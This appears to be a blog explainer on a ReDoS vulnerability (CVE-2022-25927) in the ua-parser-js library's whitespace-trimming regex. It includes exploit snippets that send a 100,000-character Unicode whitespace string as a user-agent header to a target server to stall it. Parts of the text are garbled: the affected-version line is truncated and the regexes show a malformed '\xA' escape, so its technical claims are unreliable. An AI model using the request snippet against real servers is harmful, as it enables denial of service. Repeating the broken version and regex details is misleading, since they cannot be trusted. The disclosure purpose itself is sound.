If you’ve ever built a project that needed to figure out what browser or device your users are on, chances are you’ve run across the ua-parser-js npm package. It’s a popular and handy JavaScript library for parsing user agent strings. But in 2022, researchers found a scary vulnerability in the package related to how it trims whitespace—a bug that could actually stop your entire service with the right input. This is known as a Regular Expression Denial of Service (ReDoS) attack.
Below, I’ll walk you through what happened, show some relevant code, and explain how attackers could have exploited this bug. I’ll also give you tips on how to stay safe and links to more details.
.8.1 and before 1..33
A bug in its use of the trim() function means attackers could send a specially crafted string that would cause your server (Node.js or browser) to spend *huge* amounts of time just trying to remove spaces! If your service got enough of these requests, it could be taken down—no hacking or privilege escalation required.
🕳️ How Did This Happen? (Technical Breakdown)
In plain English: ua-parser-js was using a regular expression inside its trim() logic that didn't handle abnormal edge-cases well—especially super-long, weird whitespace strings.
Let’s look at an example. Many JavaScript libraries use a regex-based function to trim whitespace, something like:
function customTrim(str) {
return str.replace(/^[\s\uFEFF\xA]+|[\s\uFEFF\xA]+$/g, '');
}
But badly designed regular expressions can take "exponential" time in some cases where long sequences of certain characters are involved. This turns the usual lightning speed of JavaScript string handling into molasses, monopolizing CPU and stalling the event loop.
In vulnerable versions, ua-parser-js had code like this (simplified)
var re = /^[\s\uFEFF\xA]+|[\s\uFEFF\xA]+$/g;
function trim(str) {
return str.replace(re, '');
}
Sending a specially crafted input, such as a huge string filled with certain whitespace characters, could make this regex “work” for *seconds or minutes* per input. This is the basis for a ReDoS attack.
💥 Exploit Example
To launch this attack, an attacker could simply send a browser user-agent header (or any data processed by ua-parser-js) containing this evil trim-busting input:
var input = Array(100000).join('\u2028'); // VERY long string of Unicode whitespace
var parsed = UAParser(input);
// This could freeze the server for a long time!
Or from a Node.js request simulation
// Simulating a malicious HTTP request
const http = require('http');
const maliciousString = '\u2028'.repeat(100000);
const options = {
hostname: 'target.server',
port: 80,
path: '/',
method: 'GET',
headers: {
'user-agent': maliciousString
}
};
const req = http.request(options, res => {
res.on('data', d => process.stdout.write(d));
});
req.end();
When a backend using vulnerable ua-parser-js tries to parse this massive, weird UA string, CPU will spike, potentially freezing the whole server process. In some cases, just a few requests like this can tie up every available Node.js worker.
Run:
npm install ua-parser-js@latest
Or set the correct version in your package.json and update.
🔗 References
- GitHub Advisory Database: GHSA-7fhm-mqm4-2wp7
- CVE Details: CVE-2022-25927
- ua-parser-js on npm
- Vulnerability patch
🧑💻 Summary
CVE-2022-25927 is a great reminder: little bugs in little libraries can cause big trouble. If you build Node.js or JavaScript apps that parse headers or user input, never trust incoming data, always keep dependencies patched, and be wary of regex in your code!
Timeline
Published on: 01/26/2023 21:15:00 UTC
Last modified on: 02/02/2023 18:26:00 UTC